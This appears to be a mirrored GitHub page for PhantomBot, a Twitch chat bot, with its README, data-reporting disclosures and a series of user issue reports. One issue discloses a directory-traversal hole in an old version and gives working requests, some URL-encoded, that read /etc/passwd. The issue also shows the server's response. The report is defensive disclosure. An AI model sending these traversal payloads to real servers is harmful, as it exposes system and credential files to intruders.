Git Product home page Git Product logo

phantombot / phantombot Goto Github PK

View Code? Open in Web Editor NEW
763.0 46.0 332.0 436.25 MB

PhantomBot is an actively developed open source interactive Twitch bot with a vibrant community that provides entertainment and moderation for your channel, allowing you to focus on what matters the most to you - your game and your viewers.

Home Page: https://phantombot.dev

License: GNU General Public License v3.0

JavaScript 49.20% Shell 0.57% Batchfile 0.15% HTML 8.14% CSS 0.59% Java 39.91% Dockerfile 0.13% PowerShell 0.11% Python 0.79% PHP 0.39% Makefile 0.01%
twitch-bot open-source phantombot java javascript rhino-js free hacktoberfest

phantombot's Introduction

PhantomBot

Java CI GitHub license GitHub release (latest SemVer)

PhantomBot is a Twitch chat bot powered by Java. PhantomBot has many modern features out of the box such as a built-in webpanel, enhanced moderation, games, a point system, raffles, custom commands, a music player, and more. PhantomBot can also be integrated with many services such as Discord, TipeeeStream, StreamLabs and StreamElements!

Additional functionality is enabled through the use of third-party modules.

How can I follow along/contribute?

  • Feel free to check out our Version History.
  • If you are a developer, feel free to check out the source and submit pull requests. We provide a guide to setup your development environment.
  • Please don't forget to watch, and star our repo!
  • A huge thanks goes out to the people who have already contributed to the project.

Requirements

PhantomBot requires the following software to be installed:

armv7 (Raspberry Pi without 64-bit) or x86 (32-bit) architectures

x86_64, arm64, aarch64, and Apple Silicon (64-bit) architectures

  • No pre-requisites

Installation

Please refer to platform-specific installation documentation.

Docker

PhantomBot publishes official builds to Docker Hub and GitHub Container Registry

Upgrading PhantomBot

Detailed upgrade instructions are listed on our documentation.

License

PhantomBot is licensed under the GNU General Public License v3 (GPL-3).

Rollbar Exception Reporting

ℹī¸ Notice: We use Rollbar to automatically report exceptions to the dev team.

OAuth tokens, Client IDs, and API Secrets are NOT sent. All information is kept private.

Data is only sent when an exception occurs. Some very common exceptions are not sent, such as the ones that occur when a connection times out.

Exceptions are sent through a server owned by @gmt2001 for additional filtering before continuing on to Rollbar. No data is saved on this server beyond normal logs used for DDOS mitigation. These logs may include IP addresses and are deleted after 5 weeks. IP addresses are NOT sent on to Rollbar.

The following values are sent from botlogin.txt:

  • allownonascii - Indicates if other config values in botlogin.txt are allowed to use non-US-ASCII characters
  • baseport - Indicates the port that the built-in webserver listens on
  • channel - Indicates the Broadcaster's channel, where the bot interacts with Twitch viewers
  • datastore - Indicates which database backend is used, but NOT the IP/login details for the database
  • debugon - Indicates whether debug messages are printed to the console and logged
  • debuglog - Overrides the above to only log, but not print to console
  • helixdebug - Enables additional debug logging of Twitch Helix API requests and responses (Not including OAuth tokens)
  • ircdebug - Enables additional debug logging of incoming messages from Twitch Message Interface (TMI/IRC)
  • logtimezone - Indicates the timezone used by the bot
  • musicenable - Indicates whether the YouTube player has been enabled at the botlogin.txt level
  • owner - Indicates the bot owner (used for giving a non-broadcaster bot owner admin privileges)
  • proxybypasshttps - Overrides the SSL checks in the bot to pretend SSL is enabled, for use with a reverse proxy
  • reactordebug - Enables very verbose debug output to console from the Netty backend (Helix and Discord API)
  • reloadscripts - Indicates whether the bot is allowed to reload most JavaScript files when they are changed without a restart
  • rhinodebugger - Enables verbose debug output when JavaScript exceptions occur
  • rollbarid - A GUIDv4 which uniquely identifies the current PhantomBot installation, used for identifying when multiple exceptions are coming from the same bot
  • usehttps - Indicates whether SSL is enabled on the bots built-in webserver
  • user - The bots Twitch username
  • userollbar - Indicates if Rollbar exception reporting is enabled
  • webenable - Indicates if the bots built-in webserver is enabled
  • wsdebug - Enables debug output of WebSocket messages from the panel

For all other values in botlogin.txt, only an indicator of whether the value exists will be sent, but not the actual value itself.

The other data sent includes:

  • java.home - Indicates where Java is installed
  • java.specification.name - Indicates the specification of the Java Runtime Environment the Java installation adheres to
  • java.specification.vendor - Indicates the vendor of the above specification
  • java.specification.version - Indicates the version of the above specification
  • java.vendor - Indicates the vendor of the actual Java installation
  • java.version - Indicates the actual version of the Java installation
  • os.arch - Indicates 32-bit or 64-bit operating system
  • os.name - Indicates the name of the operating system
  • os.version - Indicates the version of the operating system
  • The current state of debugon, even if set from the console
  • The current state of debuglog, even if set from the console
  • A boolean indicator of whether the OAuth is logged in as the Bot (but not the actual OAuth token)
  • A boolean indicator of whether the API OAuth is logged in as the Broadcaster (but not the actual OAuth token)
  • The full stack trace of the exception
  • On some exceptions, the actual input variables if they don't contain any passwords or secret values

To opt out of Rollbar exception reporting, add the following line to the botlogin.txt:

userollbar=false

Docker users can opt out using the above method, or by adding the following environment variable to the container:

PHANTOMBOT_USEROLLBAR=false

for docker-compose.yml

PHANTOMBOT_USEROLLBAR: "false"

You must restart the bot after putting the opt-out for the change to take effect. Editing a Docker container or docker-compose may require more steps to apply the changes, consult your manual.

If you believe your data has already been sent and want to issue a GDPR delete request, please opt out as above and then send your bot name, broadcaster name, and the rollbarid from botlogin.txt to: gdpr /A\T/ phantombot // hopto \ org

We also accept requests for copies of your data. GDPR requests are accepted from all users, even those who do not live in a locale that has such laws.

Please note that the IP addresses in the DDOS logs can not be retrieved or deleted manually, but will be automatically deleted after 5 weeks by log rotation.

phantombot's People

Contributors

aevumdecessus avatar brandenb avatar caricatore avatar dependabot[bot] avatar emptym avatar github-actions[bot] avatar gmt2001 avatar hackebein avatar hecodes2much avatar highhowdoiplay avatar illusionaryone avatar jaredkotoff avatar juraji avatar kojitsari avatar lbarnett83 avatar mzliv avatar nastayaval avatar notillusionaryone avatar phantombotru avatar phantomindex avatar psychoboy avatar radipiz avatar robsdedude avatar sartharon avatar scania123 avatar scaniatv avatar shiek avatar sparten9999 avatar therentabrain avatar tsaquet avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

phantombot's Issues

[Feature Request] Keep me logged in

PhantomBot Version: current Version

Detailed Description:
Add an [] Keep my logged in - Toggle on Login-Screen to:

  • Keep user logged in, if he activates the toggle for example 14 days (and renew to 14 days after every refresh)
  • Else: Log user out, if he closeses the browser or didn't access panel within 14 days

[Enhancement] Random keyword responses & exclude sender mention messages

Dear devs,

Thank you for improving on PhantomBot and your dedication! The bot keeps getting better and more stable. I love and would recommend it anytime to ANYBODY.

I have 2 suggestions to make.

The first one is an enhancement for random keyword responses. This means that if the bot triggers, it will randomly pick one of the answers you enter. I am not sure if this can be implemented over enabling regex for the response field where it is automatically picking one of the answers like (Answer1|Answer2|Answer3). This will give the bot less of a botty feeling and make it more human in some situations so where responses don't get repetitive.

Another thing is, that if somebody says "How is your day?" It triggers no matter who people mention like in "@TwitchUser How is your day?" or "@TwitchUser What mouse do you have?". This way you can exclude messages that mention other users. Can this be actually used with regex already? I've come to no conclusion so far by my testings.

Discord commands module broken

PhantomBot Version: 3.3.5 (stable) (Revision: 9699e58)
O/S Version: The one used by the docker image
Java Version: The one used by the docker image
Web Browser Version (if Panel related): Firefox 82.0 (64 bits) For Arch Linux

Detailed Description:
Can't add Discord custom command

Steps to Reproduce:
Go to Discord > Commands > Custom
Click on Add Command, nothing happens

Logs:

[PhantomBot Error] Failed to run callback: @https://url.bot.my.domain/panel line 2 > injectedScript:275:21
func@https://url.bot.my.domain/panel/js/index.js:68:33
webSocket.onmessage@https://url.bot.my.domain/panel/js/index.js:527:34
a/<@https://url.bot.my.domain/common/reconnecting-websocket/reconnectingWS.min.js:30:836
a/this.open/h.onmessage@https://url.bot.my.domain/common/reconnecting-websocket/reconnectingWS.min.js:30:2312
EventHandlerNonNull*a/this.open@https://url.bot.my.domain/common/reconnecting-websocket/reconnectingWS.min.js:30:2166
a@https://url.bot.my.domain/common/reconnecting-websocket/reconnectingWS.min.js:30:2490
@https://url.bot.my.domain/panel/js/index.js:20:21
j@https://url.bot.my.domain/panel/vendors/jquery/jquery.min.js:2:29999
g/</k<@https://url.bot.my.domain/panel/vendors/jquery/jquery.min.js:2:30313
setTimeout handler*g/<@https://url.bot.my.domain/panel/vendors/jquery/jquery.min.js:2:30522
i@https://url.bot.my.domain/panel/vendors/jquery/jquery.min.js:2:28017
fireWith@https://url.bot.my.domain/panel/vendors/jquery/jquery.min.js:2:28783
fire@https://url.bot.my.domain/panel/vendors/jquery/jquery.min.js:2:28819
i@https://url.bot.my.domain/panel/vendors/jquery/jquery.min.js:2:28017
fireWith@https://url.bot.my.domain/panel/vendors/jquery/jquery.min.js:2:28783
ready@https://url.bot.my.domain/panel/vendors/jquery/jquery.min.js:2:31934
S@https://url.bot.my.domain/panel/vendors/jquery/jquery.min.js:3:35
EventListener.handleEvent*@https://url.bot.my.domain/panel/vendors/jquery/jquery.min.js:3:149
@https://url.bot.my.domain/panel/vendors/jquery/jquery.min.js:2:220
@https://url.bot.my.domain/panel/vendors/jquery/jquery.min.js:2:225

Audio Hooks Not Working

Exh0rder: I'm having the same issue as the others for PB-3.3.1. The audio hooks are being properly configured with the browser link it provides along with the "OBS self-signed SSL" procedure. No error messages get reported in the console.

Notice interval command accepts no interval

PhantomBot Version:
O/S Version: Ubuntu 18.04.1 LTS
Java Version: 1.8.0_265

Detailed Description:
the !notice interval command accepts no parameters and sets the actual notice time to an empty value

Steps to Reproduce:
Enable the Timer module
Type !notice interval in chat with no number

Logs:
No applicable logs found, chat logs can be seen in the screenshot below

Screenshots (if applicable):
image

Twitch API v5 deprecated

According to the API Docs, they've now deprecated the v5 kraken api in favor of the new helix api endpoint.

No timeline has been provided for shutdown of the kraken api, but it would be a good idea to start converting the api over to the helix one. Originally the deprecation of v5 was supposed to be this year, but no updates have been provided in a while.

Helix oauth requires the client_id sent in the headers to match the one used to request the oauth token in the first place, which would mean hardcoding the one used for the Oauth Generator

More Info:

Errors upon issuing commands

I get this after very command.

[03-06-2016 @ 14:31:35.802] Tripplehelix: !group
[03-06-2016 @ 14:31:35.801] >>>[DEBUG] Failed to dispatch event me.mast3rplan.phantombot.event.command.CommandEvent
org.mozilla.javascript.EcmaError: TypeError: Cannot find function isModv3 in object [object Object]. (init.js#1)
at org.mozilla.javascript.ScriptRuntime.constructError(ScriptRuntime.java:3951)
at org.mozilla.javascript.ScriptRuntime.constructError(ScriptRuntime.java:3929)
at org.mozilla.javascript.ScriptRuntime.typeError(ScriptRuntime.java:3962)
at org.mozilla.javascript.ScriptRuntime.typeError2(ScriptRuntime.java:3981)
at org.mozilla.javascript.ScriptRuntime.notFunctionError(ScriptRuntime.java:4053)
at org.mozilla.javascript.ScriptRuntime.getPropFunctionAndThisHelper(ScriptRuntime.java:2425)
at org.mozilla.javascript.ScriptRuntime.getPropFunctionAndThis(ScriptRuntime.java:2407)
at org.mozilla.javascript.gen.init_js_1._c_anonymous_25(init.js:1)
at org.mozilla.javascript.gen.init_js_1.call(init.js)
at org.mozilla.javascript.ContextFactory.doTopCall(ContextFactory.java:393)
at org.mozilla.javascript.ScriptRuntime.doTopCall(ScriptRuntime.java:3282)
at org.mozilla.javascript.gen.init_js_1.call(init.js)
at org.mozilla.javascript.InterfaceAdapter.invokeImpl(InterfaceAdapter.java:137)
at org.mozilla.javascript.InterfaceAdapter$1.run(InterfaceAdapter.java:83)
at org.mozilla.javascript.Context.call(Context.java:501)
at org.mozilla.javascript.ContextFactory.call(ContextFactory.java:503)
at org.mozilla.javascript.InterfaceAdapter.invoke(InterfaceAdapter.java:86)
at org.mozilla.javascript.jdk13.VMBridge_jdk13$1.invoke(VMBridge_jdk13.java:132)
at com.sun.proxy.$Proxy2.handle(Unknown Source)
at me.mast3rplan.phantombot.script.ScriptEventManager.onEvent(ScriptEventManager.java:79)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.google.common.eventbus.EventSubscriber.handleEvent(EventSubscriber.java:74)
at com.google.common.eventbus.SynchronizedEventSubscriber.handleEvent(SynchronizedEventSubscriber.java:47)
at com.google.common.eventbus.EventBus.dispatch(EventBus.java:322)
at com.google.common.eventbus.AsyncEventBus.access$001(AsyncEventBus.java:34)
at com.google.common.eventbus.AsyncEventBus$1.run(AsyncEventBus.java:117)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
[03-06-2016 @ 14:31:42.600] Tripplehelix: !group
[03-06-2016 @ 14:31:42.602] >>>[DEBUG] Failed to dispatch event me.mast3rplan.phantombot.event.command.CommandEvent
org.mozilla.javascript.EcmaError: TypeError: Cannot find function isModv3 in object [object Object]. (init.js#1)
at org.mozilla.javascript.ScriptRuntime.constructError(ScriptRuntime.java:3951)
at org.mozilla.javascript.ScriptRuntime.constructError(ScriptRuntime.java:3929)
at org.mozilla.javascript.ScriptRuntime.typeError(ScriptRuntime.java:3962)
at org.mozilla.javascript.ScriptRuntime.typeError2(ScriptRuntime.java:3981)
at org.mozilla.javascript.ScriptRuntime.notFunctionError(ScriptRuntime.java:4053)
at org.mozilla.javascript.ScriptRuntime.getPropFunctionAndThisHelper(ScriptRuntime.java:2425)
at org.mozilla.javascript.ScriptRuntime.getPropFunctionAndThis(ScriptRuntime.java:2407)
at org.mozilla.javascript.gen.init_js_1._c_anonymous_25(init.js:1)
at org.mozilla.javascript.gen.init_js_1.call(init.js)
at org.mozilla.javascript.ContextFactory.doTopCall(ContextFactory.java:393)
at org.mozilla.javascript.ScriptRuntime.doTopCall(ScriptRuntime.java:3282)
at org.mozilla.javascript.gen.init_js_1.call(init.js)
at org.mozilla.javascript.InterfaceAdapter.invokeImpl(InterfaceAdapter.java:137)
at org.mozilla.javascript.InterfaceAdapter$1.run(InterfaceAdapter.java:83)
at org.mozilla.javascript.Context.call(Context.java:501)
at org.mozilla.javascript.ContextFactory.call(ContextFactory.java:503)
at org.mozilla.javascript.InterfaceAdapter.invoke(InterfaceAdapter.java:86)
at org.mozilla.javascript.jdk13.VMBridge_jdk13$1.invoke(VMBridge_jdk13.java:132)
at com.sun.proxy.$Proxy2.handle(Unknown Source)
at me.mast3rplan.phantombot.script.ScriptEventManager.onEvent(ScriptEventManager.java:79)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.google.common.eventbus.EventSubscriber.handleEvent(EventSubscriber.java:74)
at com.google.common.eventbus.SynchronizedEventSubscriber.handleEvent(SynchronizedEventSubscriber.java:47)
at com.google.common.eventbus.EventBus.dispatch(EventBus.java:322)
at com.google.common.eventbus.AsyncEventBus.access$001(AsyncEventBus.java:34)
at com.google.common.eventbus.AsyncEventBus$1.run(AsyncEventBus.java:117)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)

[03-06-2016 @ 14:32:10.418] Tripplehelix: !report
[03-06-2016 @ 14:32:10.428] >>>[DEBUG] Failed to dispatch event me.mast3rplan.phantombot.event.command.CommandEvent
org.mozilla.javascript.EcmaError: TypeError: Cannot find function isModv3 in object [object Object]. (init.js#1)
at org.mozilla.javascript.ScriptRuntime.constructError(ScriptRuntime.java:3951)
at org.mozilla.javascript.ScriptRuntime.constructError(ScriptRuntime.java:3929)
at org.mozilla.javascript.ScriptRuntime.typeError(ScriptRuntime.java:3962)
at org.mozilla.javascript.ScriptRuntime.typeError2(ScriptRuntime.java:3981)
at org.mozilla.javascript.ScriptRuntime.notFunctionError(ScriptRuntime.java:4053)
at org.mozilla.javascript.ScriptRuntime.getPropFunctionAndThisHelper(ScriptRuntime.java:2425)
at org.mozilla.javascript.ScriptRuntime.getPropFunctionAndThis(ScriptRuntime.java:2407)
at org.mozilla.javascript.gen.init_js_1._c_anonymous_25(init.js:1)
at org.mozilla.javascript.gen.init_js_1.call(init.js)
at org.mozilla.javascript.ContextFactory.doTopCall(ContextFactory.java:393)
at org.mozilla.javascript.ScriptRuntime.doTopCall(ScriptRuntime.java:3282)
at org.mozilla.javascript.gen.init_js_1.call(init.js)
at org.mozilla.javascript.InterfaceAdapter.invokeImpl(InterfaceAdapter.java:137)
at org.mozilla.javascript.InterfaceAdapter$1.run(InterfaceAdapter.java:83)
at org.mozilla.javascript.Context.call(Context.java:501)
at org.mozilla.javascript.ContextFactory.call(ContextFactory.java:503)
at org.mozilla.javascript.InterfaceAdapter.invoke(InterfaceAdapter.java:86)
at org.mozilla.javascript.jdk13.VMBridge_jdk13$1.invoke(VMBridge_jdk13.java:132)
at com.sun.proxy.$Proxy2.handle(Unknown Source)
at me.mast3rplan.phantombot.script.ScriptEventManager.onEvent(ScriptEventManager.java:79)
at sun.reflect.GeneratedMethodAccessor16.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.google.common.eventbus.EventSubscriber.handleEvent(EventSubscriber.java:74)
at com.google.common.eventbus.SynchronizedEventSubscriber.handleEvent(SynchronizedEventSubscriber.java:47)
at com.google.common.eventbus.EventBus.dispatch(EventBus.java:322)
at com.google.common.eventbus.AsyncEventBus.access$001(AsyncEventBus.java:34)
at com.google.common.eventbus.AsyncEventBus$1.run(AsyncEventBus.java:117)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
[03-06-2016 @ 14:32:14.227] MODE [#exbc] +o exbcbot
[03-06-2016 @ 14:32:14.230] MODE [#exbc] +o shudra
[03-06-2016 @ 14:32:14.232] MODE [#exbc] +o tripplehelix
[03-06-2016 @ 14:32:53.857] Tripplehelix: !report
[03-06-2016 @ 14:32:53.858] >>>[DEBUG] Failed to dispatch event me.mast3rplan.phantombot.event.command.CommandEvent
org.mozilla.javascript.EcmaError: TypeError: Cannot find function isModv3 in object [object Object]. (init.js#1)
at org.mozilla.javascript.ScriptRuntime.constructError(ScriptRuntime.java:3951)
at org.mozilla.javascript.ScriptRuntime.constructError(ScriptRuntime.java:3929)
at org.mozilla.javascript.ScriptRuntime.typeError(ScriptRuntime.java:3962)
at org.mozilla.javascript.ScriptRuntime.typeError2(ScriptRuntime.java:3981)

Discord Mod and Command Log

PhantomBot Version: 3.3.5
O/S Version: Linux
Java Version: 11.0.4+10-LTS
Web Browser Version (if Panel related): Chrome

Detailed Description:
Hello, I've been noticing for a while now that no logs seem to be posted in my Discord Channel. When a mod bans a user it does not appear in my Discord Channel anymore. The last entry there is from 04/26/2020

I have now banned and unbanned several users for testing, unfortunately nothing happens in the Log Channel anymore. Can anyone confirm this?

Steps to Reproduce:
Enable Twitch Moderation: YES
Logging Channel : mychannel (written without #)

Restart the bot.
Go to Twitch and ban a user /ban username This is a Test

Look at Discord in your channel, there is nothing there.

Logs:
There are no logs in the Moderation folder

Instructions unclear

To create a new user and the corresponding home directory you have to type the following:

adduser --disabled-password --gecos "" botuser

Please take a good password!

Should this account have a password? Why say use strong password when the example says no password??

Twitter not pulling Tweets?

PhantomBot Version: 3.3.5
O/S Version:
Java Version:
Web Browser Version (if Panel related):

Detailed Description: The console on startup is stating that the Twitter API is successfully connected. However no matter what we have tried in the panel, we cannot get it to pull tweets from twitter.

I have ensured that the keys and secrets are all correct. It is running on a server using SSL, however also did not work running on a local machine without SSL.

Steps to Reproduce:

Logs:

Screenshots (if applicable):

Embed chat dont work

PhantomBot Version:

PhantomBot Version: 3.3.2-NB-20200906 (nightly_build)

O/S Version:

Ubuntu 14.04.6 LTS (GNU/Linux 4.4.0-142-generic i686)

Java Version:

penjdk version "11.0.5" 2019-10-15
OpenJDK Runtime Environment (build 11.0.5+10-post-Ubuntu-2ubuntu114.04)
OpenJDK Server VM (build 11.0.5+10-post-Ubuntu-2ubuntu114.04, mixed mode, sharin

Web Browser Version (if Panel related):

85.0.4183.83 (Oficjalna wersja) (64-bitowa)

Detailed Description:
inside Dashboard Panels dont work

Steps to Reproduce:

Logs:

Screenshots (if applicable):

pobrane

Twitch API doesn't follow standards

When authorizing. apirefresh is no longer saved, worked in nightly build LUL 
Failed to authorize and save the broadcaster token: invalidJSONResponse{"message":"Parameter redirect_uri does not match registered URI","status":400}

Bot dont start

PhantomBot Version: 3.0.0-NB-20191231

O/S Version:

14.04.6 LTS (GNU/Linux 4.4.0-142-generic i686)
Java Version:

openjdk version "1.8.0_222"
OpenJDK Runtime Environment (build 1.8.0_222-8u222-b10-1~14.04-b10)
OpenJDK Server VM (build 25.222-b10, mixed mode)

Web Browser Version (if Panel related):

Detailed Description:

[09-06-2020 @ 11:59:09.035 GMT] Detected Java 1.8.0_222 running on Linux 4.4.0-142-generic (i386)
[09-06-2020 @ 11:59:09.488 GMT]
[09-06-2020 @ 11:59:09.492 GMT] PhantomBot Version: 3.0.0-NB-20191231
[09-06-2020 @ 11:59:09.493 GMT] Build Revision: 6122a8e
[09-06-2020 @ 11:59:09.495 GMT] Creator: mast3rplan
[09-06-2020 @ 11:59:09.496 GMT] Developers: PhantomIndex, Kojitsari, ScaniaTV, Zackery (Zelakto) & IllusionaryOne
[09-06-2020 @ 11:59:09.497 GMT] https://phantombot.tv/
[09-06-2020 @ 11:59:09.498 GMT]
[09-06-2020 @ 11:59:10.837 GMT] YTWebSocketSecureServer Exception: null
[09-06-2020 @ 11:59:10.839 GMT] Exception occurred in one of the socket based services, PhantomBot will now exit.

Steps to Reproduce:

Logs:

[09-06-2020 @ 11:59:09.035 GMT] Detected Java 1.8.0_222 running on Linux 4.4.0-142-generic (i386)
[09-06-2020 @ 11:59:09.488 GMT]
[09-06-2020 @ 11:59:09.492 GMT] PhantomBot Version: 3.0.0-NB-20191231
[09-06-2020 @ 11:59:09.493 GMT] Build Revision: 6122a8e
[09-06-2020 @ 11:59:09.495 GMT] Creator: mast3rplan
[09-06-2020 @ 11:59:09.496 GMT] Developers: PhantomIndex, Kojitsari, ScaniaTV, Zackery (Zelakto) & IllusionaryOne
[09-06-2020 @ 11:59:09.497 GMT] https://phantombot.tv/
[09-06-2020 @ 11:59:09.498 GMT]
[09-06-2020 @ 11:59:10.837 GMT] YTWebSocketSecureServer Exception: null
[09-06-2020 @ 11:59:10.839 GMT] Exception occurred in one of the socket based services, PhantomBot will now exit.

Screenshots (if applicable):

HTTP Directory Traversal

PhantomBot Version: 2.3.6.1
O/S Version: Debian 8.8
Java Version: 1.8.0_112-b15
Web Browser Version (if Panel related): telnet :-)

Detailed Description:
You can access internal files on the local filesystem. For example the local passwd file on linux systems. This is a security issue.

Steps to Reproduce:

Use telnet to exclude the browsers behavior (telnet XXXXXXX 25005), then enter the request path with GET, press enter and you get the internal files.
On this setup the bot was running in the folder /home/phantombot/bot/.

The output of the passwd file is shorted.

The following traversal URL(s) where found:

Vulnerable url: http://XXXXXXX:25005/../../../../../../etc/passwd

Request:
GET /../../../../../../etc/passwd HTTP/1.1

Response:

HTTP/1.1 200 OK 
Date: Wed, 07 Jun 2017 08:15:38 GMT 
Content-type: text/text 
Content-length: 2644 
 
root:x:0:0:root:/root:/bin/bash

Vulnerable url: http://XXXXXXX:25005/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

Request:
GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd HTTP/1.1

Response:

HTTP/1.1 200 OK 
Date: Wed, 07 Jun 2017 08:15:38 GMT 
Content-type: text/text 
Content-length: 2644 
 
root:x:0:0:root:/root:/bin/bash

Vulnerable url: http://XXXXXXX:25005/..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd

Request:
GET /..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1

Response:

HTTP/1.1 200 OK 
Date: Wed, 07 Jun 2017 08:15:38 GMT 
Content-type: text/text 
Content-length: 2644 
 
root:x:0:0:root:/root:/bin/bash

Logs:
No message (request was valid)

Multiline keyword response appends "null"

PhantomBot Version: 3.3.1
O/S Version: Raspbian 9
Java Version: openjdk 11.0.6 2020-01-14

What to do:

  • Create a keyword with a multi-line response.
  • Trigger that keyword

What happens:

  • The bot will respond correctly
  • Plus an additional message at the end "null"

What should happen:

  • The "null" message should not be sent.

Phantombot API/Web-Service?

Hi,
is there any way to send phantombot a command over api/web-service? i only found old information over curl.

[Enhancement] Allow non-auth access to some files

PhantomBot Version: source
O/S Version: Centos/Docker
Java Version: 11

Detailed Description:
Wondering if it's possible to allow access to some files in the addons directory to be accessible just via URL without a webauth token, since it currently uses the non-readonly key for access to those files at this time, and this is a bot for a shared account, and I don't want to just give the api key out to anyone since it allows changes to be made via api

Trying to allow access to the latest follower count for example via a simple url
https://<BOTURL>/addons/followHandler/latestFollower.txt?refresh=true

[Enhancement] Give VIPs higher priveleges than subscribers

Currently any commands set to VIPs or higher also includes subscribers. Since VIPs are assigned by the streamer, commands should be set for use by VIPs and not subscribers, either by specifying an order of important in the bot settings or by changing the command precedence order so VIPs are above subscribers.

Automatic oauth tokens throwing errors and raids not working

PhantomBot Version: latest git c06512c
O/S Version: Docker

Detailed Description:
I set up automatic refreshing oauth tokens through the bot panel, with my own twitch application/etc, both tokens show "Authorized and saved the bot/broadcaster token". Once I updated to c06512c above, I receive the following OAuth related errors in the startup log

phantombot_fragforce | [01-29-2021 @ 01:35:36.546 GMT] The working directory is: /opt/PhantomBot
phantombot_fragforce | [01-29-2021 @ 01:35:36.586 GMT] Detected Java 11.0.8 running on Linux 3.10.0-1160.6.1.el7.x86_64 (amd64)
phantombot_fragforce | [01-29-2021 @ 01:35:36.599 GMT] Enabling Silent Script Load
phantombot_fragforce | [01-29-2021 @ 01:35:36.600 GMT]
phantombot_fragforce | [01-29-2021 @ 01:35:36.606 GMT] PhantomBot Version: 3.4.1 (stable)
phantombot_fragforce | [01-29-2021 @ 01:35:36.606 GMT] Build Revision: unknown
phantombot_fragforce | [01-29-2021 @ 01:35:36.607 GMT] Creator: mast3rplan
phantombot_fragforce | [01-29-2021 @ 01:35:36.607 GMT] Developers: gmt2001, Kojitsari, ScaniaTV, & IllusionaryOne
phantombot_fragforce | [01-29-2021 @ 01:35:36.607 GMT] https://phantombot.github.io/PhantomBot/
phantombot_fragforce | [01-29-2021 @ 01:35:36.607 GMT]
phantombot_fragforce | [01-29-2021 @ 01:35:37.437 GMT] Refreshed the bot token
phantombot_fragforce | [01-29-2021 @ 01:35:37.687 GMT] Refreshed the broadcaster token
phantombot_fragforce | [01-29-2021 @ 01:35:38.021 GMT] [WARN] [checkOAuthInconsistencies()@TwitchValidate.java:282] CHAT (oauth) does not have chat:edit. Bot may be unable to respond
phantombot_fragforce | [01-29-2021 @ 01:35:38.023 GMT] [WARN] CHAT (oauth) is not logged in as misterfragbot. OAuth token may be under the wrong login[01-29-2021 @ 01:35:38.103 GMT] Validated Twitch API (apioauth) OAUTH Token.
phantombot_fragforce | [01-29-2021 @ 01:35:38.250 GMT] Validated Twitch CHAT (oauth) OAUTH Token.

I also notice that the bot can no longer raid other channels, it sends the appropriate command into chat according to the bot logs, but the raid never triggers on the twitch side

phantombot_fragforce | [01-29-2021 @ 01:41:07.186 GMT] [CHAT] We're going to raid AevumDecessus, spam their chat with fragfoRce Team Fragforce bringing the Extra Life Hype fragfoRce fragfoRce
phantombot_fragforce | [01-29-2021 @ 01:41:07.188 GMT] [CHAT] We're going to raid AevumDecessus, spam their chat with fragfoRce Team Fragforce bringing the Extra Life Hype fragfoRce fragfoRce
phantombot_fragforce | [01-29-2021 @ 01:41:07.190 GMT] [CHAT] We're going to raid AevumDecessus, spam their chat with fragfoRce Team Fragforce bringing the Extra Life Hype fragfoRce fragfoRce
phantombot_fragforce | [01-29-2021 @ 01:41:07.192 GMT] [CHAT] .raid aevumdecessus

Steps to Reproduce:

  • Create twitch application, follow guide at <BOT_URL>/oauth
  • Set up automatic refresh bot and broadcaster tokens following above guide
  • Restart the bot afterwards
    • Note new startup errors
  • Attempt to raid another channel using the !raid command
    • note that /raid DOES work when logged into the bot account, as the bot is a channel editor

[Question]Can multiple PhantomBots share a DB?

Heya everyone,

I'd like to know whether multiple PhantomBots can share one DB.
I'd like to set up one master who can add commands, keywords etc. so other bots can access it's database in order to all have the same commands etc. available.
Since one PB can only moderate one twitch channel, I need to work that limitation somehow.

